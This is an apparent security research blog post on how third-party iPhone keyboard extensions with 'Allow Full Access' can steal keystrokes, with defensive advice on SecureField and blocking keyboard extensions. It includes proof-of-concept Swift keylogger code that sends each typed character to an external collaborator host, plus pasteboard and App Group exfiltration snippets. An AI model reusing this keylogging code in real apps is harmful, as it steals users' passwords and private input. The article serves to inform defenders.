Third-party iPhone keyboards vs your iOS application security

The story about the customization of iPhone keyboards is a tightrope walk between comfort and security. Given this road full of obstacles, let us understand how to protect users from the most common threats.

Przemysław Samsel 2022.10.26   –   15 MIN read

When it comes to Apple products, customizability has always been a subject of heated debates, especially when compared to other smartphone vendors. While this is not a place for the never-ending battle between the most popular mobile systems on the market – believe it or not, security rarely comes in hand with flexibility.  

Apple introduced extensions in iOS 8 back in 2014 as a way to give more freedom to both developers and users. One important change was that users could now use custom keyboards – that matters a lot since the system keyboard on iOS is all but customizable. Extensions opened a whole set of new opportunities for good and bad guys as well. 

Today, there are so many custom keyboards that you can change them every day and never stop. Some offer better word predictions, other different fonts, skins, and glide typing in different languages. But most of them have one thing in common. To be able to do these things, the keyboard extension asks the user to enter settings and press the magic “Allow Full Access” button. Suppose the name does not sound dangerous enough; a small system popup will appear, explaining that granting full access to a keyboard allows it to initiate Internet connections and access other system resources. Most users will confirm that without reading a word – we all know that. That is why organizations like OWASP or ENISA highlight in their mobile guidelines that applications should block custom keyboards in certain situations. And that is also the main reason behind this research – to ensure the subject stays up-to-date. So let’s talk. 

Why to consider users of custom keyboards

We’ve shown below the number of reviews on AppStore for the most popular keyboards, which should give an image of the size of the problem. 

And these are just the top-most popular, mentioned on the web – they have several reviews, which usually show only a fraction of actual users. Other popular keyboard extensions, like Go Keyboard, Touchpal, Minuum, Themeboard, and hundreds of others, are available after typing “keyboard” in the AppStore search bar. 

How to stop custom keyboards from stealing users’ data?

Our research has only confirmed one thing – custom keyboards can easily access users’ data by simply asking users to grant them higher privileges in exchange for fancy skins and other customizations. With those privileges, the keyboard may use a network connection to act as a keylogger. It might also use the Named Pasteboards mechanism and many different ways for the same purpose. 

Without the OpenAccess granted, the keyboard cannot extract anything due to sandbox restrictions, but neither does it differ from the stock, non-customizable system keyboard in that case. 

iOS has a security feature to block custom keyboards from appearing on a given input (i.e., password) field. To stop a user from switching to a third-party keyboard, use the SecureTextEntry field as it automatically switches to the system keyboard, granting OpenAccess does not matter; there is no choice here but to use a system keyboard. 

Another solution is to disable the use of any keyboard extensions in your application altogether. In order to do that, deny permission to use app extensions based on UIApplicationKeyboardExtensionPointIdentifier using method application:shouldAllowExtensionPointIdentifier. When the application implements this mechanism, users will not be able to use their custom keyboard on any field in the application. Consider that custom keyboards threaten your users’ security and privacy. In cases where the keyboard cannot easily intercept user passwords as they type, it might still be able to gather other information.

In short, make sure to check these security features that iOS offers: 

  • For a single input field that handles user passwords and other masked secrets, use SecureTextEntry. In SwiftUI, the equivalent is SecureField. Because masking cannot be disabled, this will not be suitable for all kinds of sensitive data entries; 
  • Another solution is to use the shouldAllowExtensionPointIdentifier to block specific extensions, such as a custom keyboard, from accessing your application entirely.

Mobile guidelines for iPhone third-party keyboards

The perspective of using software keyboards as keyloggers is not new. Researchers have warned about similar threats as far as a decade ago. Popular mobile security standards, such as MASVS or ENISA Smartphone Guidelines Tool, explicitly discourage the use of custom keyboards: 

MSTG – MSTG-PLATFORM-11:

Verify that the app prevents the usage of custom third-party keyboards whenever sensitive data is entered (iOS only).

ENISA Smartphone Guidelines Tool – Identify and protect sensitive data on the mobile device:

Do not allow third-party keyboards to be used for inputs that may contain sensitive data (e.g., credentials, credit card information). Prefer a custom keyboard for such inputs instead.

While the necessity of implementing your custom keyboard for just one screen might be a thing of the past, our research is convergent to the general message of the excerpts above: do not allow using custom keyboards where sensitive data is at stake. As for implementing your custom keyboard for specific screens, remember that sometimes this approach might also introduce vulnerabilities; for instance, if developers forget to disable logging secrets purely for debugging purposes, user secrets could appear in system logs on production. 

Moreover, custom third-party keyboards, even the most prominent players on the market, have vulnerabilities. Even though exploitation of custom-keyboard-related vulnerabilities is complex, attack vectors could start with simply phishing the “Allow Full Access” – a reminder that there is always a security price for customizability. Even more than that: sometimes, the mobile system itself allows custom keyboards to grant “Allow Full Access” themselves without the user’s consent [1][2][3]. 

How malicious keyboard extensions extract sensitive data

Developers must set up the “Allow Full Access” or simply OpenAccess permission in the application extension plist file with the RequestsOpenAccess name to be able to ask the user for it.

Without this permission, the extension does not have access to a network connection and a shared container within the parent application[1].

We will try to extract keystrokes using a network connection, pasteboards, files, and other ways. While the general result is that none of the attempted attack vectors worked since the iOS sandbox blocked them all, the situation is quite different when a user has granted “Allow Full Access” to a keyboard. Let us review every attempt from a technical perspective.

*All examples have been tested on physical device – iPhone 13 with iOS 15, although some graphics present Xcode simulator.

For this part, we will assume a user has granted Full Access to a keyboard. Before doing so, the system presents a warning (shown in the figure above). The message is probably so long and unwelcome to how our brains work that the user will perhaps instantly click the slightly less visible, written with a regular font Allow even before they tried to read that message. 

Below are a few examples of malicious keyboard extensions that might attempt to exfiltrate data from users. For this research, we have written a keyboard extension in SwiftUI. 

Extraction through network

Below is a function called every time a user presses a button on our keyboard. All it has is a reference to the currently typed character. We append this character to the address of our server and send it with a GET request. 

    @objc func type(){
        lightImpactFeedbackGenerator.impactOccurred()
        let currentChar : String = key!.titleLabel!.text!
        textDocumentProxy.insertText(currentChar)
            
        // Example 1 - Extraction by network connection
        let url = URL(string: "https://cyej66aatpfgxe443erfhxy6gxmnac.oastify.com/"+currentChar)!
        let task = URLSession.shared.dataTask(with: url)
        task.resume()
    }

Each time the user has typed using the keyboard, information is transmitted to the attacker’s server: 

With keyboard permissions denied again, it is no longer possible, and the reason is that the sandbox is blocking network connections:  

The way the extension made network connections in the first case is probably because of kTCCServiceKeyboardNetwork permission granted by the TCC (Transparency, Consent, and Control) framework. This privacy protection mechanism built into iOS supplements the sandbox mechanisms. In our case, TCC had added an exception in its database because the user gave OpenAccess permissions to the keyboard.

Extraction through pasteboards

Named Pasteboards are part of the UIPasteboard class that provides read and write methods for sharing data between different places in your applications and other applications on the system. One condition, though, is that applications can only access a given pasteboard name if they share the same team ID. Also, contrary to Apple documentation, Named Pasteboard was persistent in our case, surviving even a device reboot.

Now, another sample of code inside the type() function that writes to the named pasteboard might look as follows:

// Example 2 - setting named pasteboard
let pB = UIPasteboard(name: UIPasteboard.Name(rawValue: "SecuringNamedPasteboard"), create: true);
pB?.string = (pB?.string ?? "") + currentChar;

Additionally, the code executed by the parent application to receive the contents of the named pasteboard would look like this:

// Example 2 - setting named pasteboard
let pB = UIPasteboard(name: UIPasteboard.Name(rawValue: "SecuringNamedPasteboard"), create: true);
Text("Pasteboard contents: ").animation(.linear)
Text("=> "+textfield).onReceive(NotificationCenter.default.publisher(for: UIApplication.didBecomeActiveNotification)) { _ in
          textfield = pB?.string ?? ""; }

Without open access permission, the parent application can read the content. 

What if the attacker decides to write to the general pasteboard instead? The system will warn the user every time the keyboard writes to it, and there is no way to disable that notification. Starting in iOS 14, Apple warns users when an app gets general pasteboard content that originated in a different application, and this is shown in the video on the left. As it happens, in iOS 16, Apple decided to change the notification into an entire “Application would like to paste from other apps” pop-up asking the user to grant permission – they need to click “allow” every time an application tries to access the general pasteboard (video on the right). The issue was so annoying to the users that shortly after Apple decided to change this behavior so that the pop-up appears only once – and after a user clicks “allow” the application has ongoing access to the user’s general pasteboard [1][2][3]. 

As a side note, exfiltrating through any pasteboard is not ideal since the user has to open the parent application to receive data from the keyboard.  

With OpenAccess permission denied, the sandbox successfully blocked attempts to write to the named pasteboard. 

Extraction through App Groups

Although extensions reside inside the app directory (within a directory extensionName.appex), they have no access to each other’s files, keychain entries, etc. – all that is secured by a sandbox. To make some forms of communication possible, Apple has introduced App Groups (in iOS 8, together with app extensions) – these are additional capabilities that applications must declare to make that data exchange possible [1] [2]

These capabilities must be added manually by developers for both application and extension, as well as any other application on the system that wants to share data with other applications. Then, using the following code, we can share NSUserDefaults entries in our keyboard extension: 

let defaults = UserDefaults(suiteName: "group.examplegroup")
        if let x = defaults?.string(forKey: "securingKeyboardKey"){
            defaults?.set(x + currentChar, forKey: "securingKeyboardKey")
        }

These entries can be later retrieved by the containing application using: 

if let x = defaults?.string(forKey: "securingKeyboardKey"){
       textfield = x
}

Similarly, when the user denies OpenAccess, the extension no longer has write access to the shared group. 

As for now, we showed three successful attempts to exfiltrate user data as they type, although none of them worked when OpenAccess was not granted. Even so, users will not always be cautious enough and might enable that “Allow Full Access” switch to get promised features. When that is the case, what can be done to protect them, at least inside your application? 

Block keyboard extensions for specific user input

Say we want to develop a simple login screen. Knowing why and how attackers might illicitly use keyboard extensions, we will set the password field using the SecureTextEntry attribute. In SwiftUI, the code would look as follows: 

@State private var username: String = ""
@State private var passw: String = ""
var body: some View {
        VStack{
            TextField("Username", text: $username)
                .multilineTextAlignment(.center)
                .padding()
                .cornerRadius(5.0)
            SecureField("Password", text: $passw)
                .multilineTextAlignment(.center)
                .padding()
                .cornerRadius(5.0)
        }
    }

The SecureField object will automatically mask the user input as they enter it. Additionally, no custom keyboard can be used for any other input field on this screen, whether they are just TextField objects or SecureField. Similarly, SecureTextEntry is used as a setting (defined in the .storyboard file) in UIKit, so basically, it is a property of UITextField, and as such, starting from Swift 4.2, we can also change it programmatically: 

password.isSecureTextEntry.toggle()

Applications built with multi-platform frameworks, such as Flutter, Ionic, React Native, or Cordova, have their mechanisms to declare specific fields as fetching sensitive information from the user (i.e., password), and iOS automatically recognizes such areas, effectively blocking input with third-party keyboards. It works similarly on websites – Safari recognizes HTML password types of fields and automatically stops using a third-party keyboard. In this case, extensions are blocked only for those specific fields, not the entire screen, as with SecureTextEntry in Swift. 

One final thing to consider is when trying to implement the show/hide password button, the easiest and most obvious solution is to switch between normal text entry and secured text entry – or TextField and SecureField in SwiftUI. Now, say the user has a complicated password and prefers to type it while it’s shown – it effectively gives access to every character of the password to a custom keyboard. As mentioned before, SecureField does not have the “isMasked” property to simply turn it off, but the workaround that is most popular when searched on Google is not perfect either. 

Block all third-party keyboards from your application

Another way to block third-party keyboards from appearing is by adding the following method to the application delegate. However, AppDelegate is part of UIKit’s life cycle, not SwiftUI. AppDelegate still handles certain events, so it should not become deprecated unless Apple comes up with a new solution. In SwiftUI, using shouldAllowExtensionPointIdentifier would require changing the initialization of your application a bit: 

class AppDelegate: NSObject, UIApplicationDelegate {
    func application(_ application: UIApplication, shouldAllowExtensionPointIdentifier extensionPointIdentifier: UIApplication.ExtensionPointIdentifier) -> Bool {
        return extensionPointIdentifier != UIApplication.ExtensionPointIdentifier.keyboard
    }
}
@main
struct SecuringKeyboardApp: App {
    @UIApplicationDelegateAdaptor(AppDelegate.self) var appDelegate
    
    var body: some Scene {
        WindowGroup {
            ContentView()
        }
    }
}

The custom keyboard has again disappeared from the keyboard menu inside the application, even though both fields are TextField. The figure below shows the keyboard with security turned off and on as a comparison. In the left case, our keyboard is not visible to the user when developers use the shouldAllowExtensionPointIdentifier method.  

Keyboard customization threats in a nutshell

This research was an essential update on possible threats that custom keyboards might pose to users and how developers can protect users of their applications from them. General recommendations were to use SecureTextEntry to mark specific fields, usually passwords, so only the system keyboard can type into them. This approach is unsuitable for all kinds of sensitive data, so another approach is to use the method shouldAllowExtensionPointIdentifier that blocks any keyboard extensions from accessing any screen of the application. 

Are these methods necessary to keep users safe? Keyboards cannot make network connections by default, use general pasteboards without the user’s knowledge, or communicate in any other way that exfiltrates data. While this is true, the case is reversed when a user grants “Allow Full Access” to the keyboard – it can use all mentioned methods and extract the user’s sensitive data, as shown in this research. Granting OpenAccess permission is quite common. Usually, it is the first thing that a newly installed keyboard asks a user about. Without it, the keyboard would not be much more usable than a good, old system keyboard because users will not be able to customize it. 

One news that could partially solve the problem with keyboard extensions is the introduction of Passkeys, which is Apple’s implementation of the WebAuthn standard that hopefully will completely replace passwords as we know them today with public key cryptography and biometric verification. But that will start this autumn and will most likely take time before passwords disappear, and unfortunately does not cover all types of sensitive data that attackers might extract. 

In case you would like to discuss the topic further, feel free to use our contact form. You can also find me on Twitter or LinkedIn

Przemysław Samsel
Przemysław Samsel Junior IT Security Consultant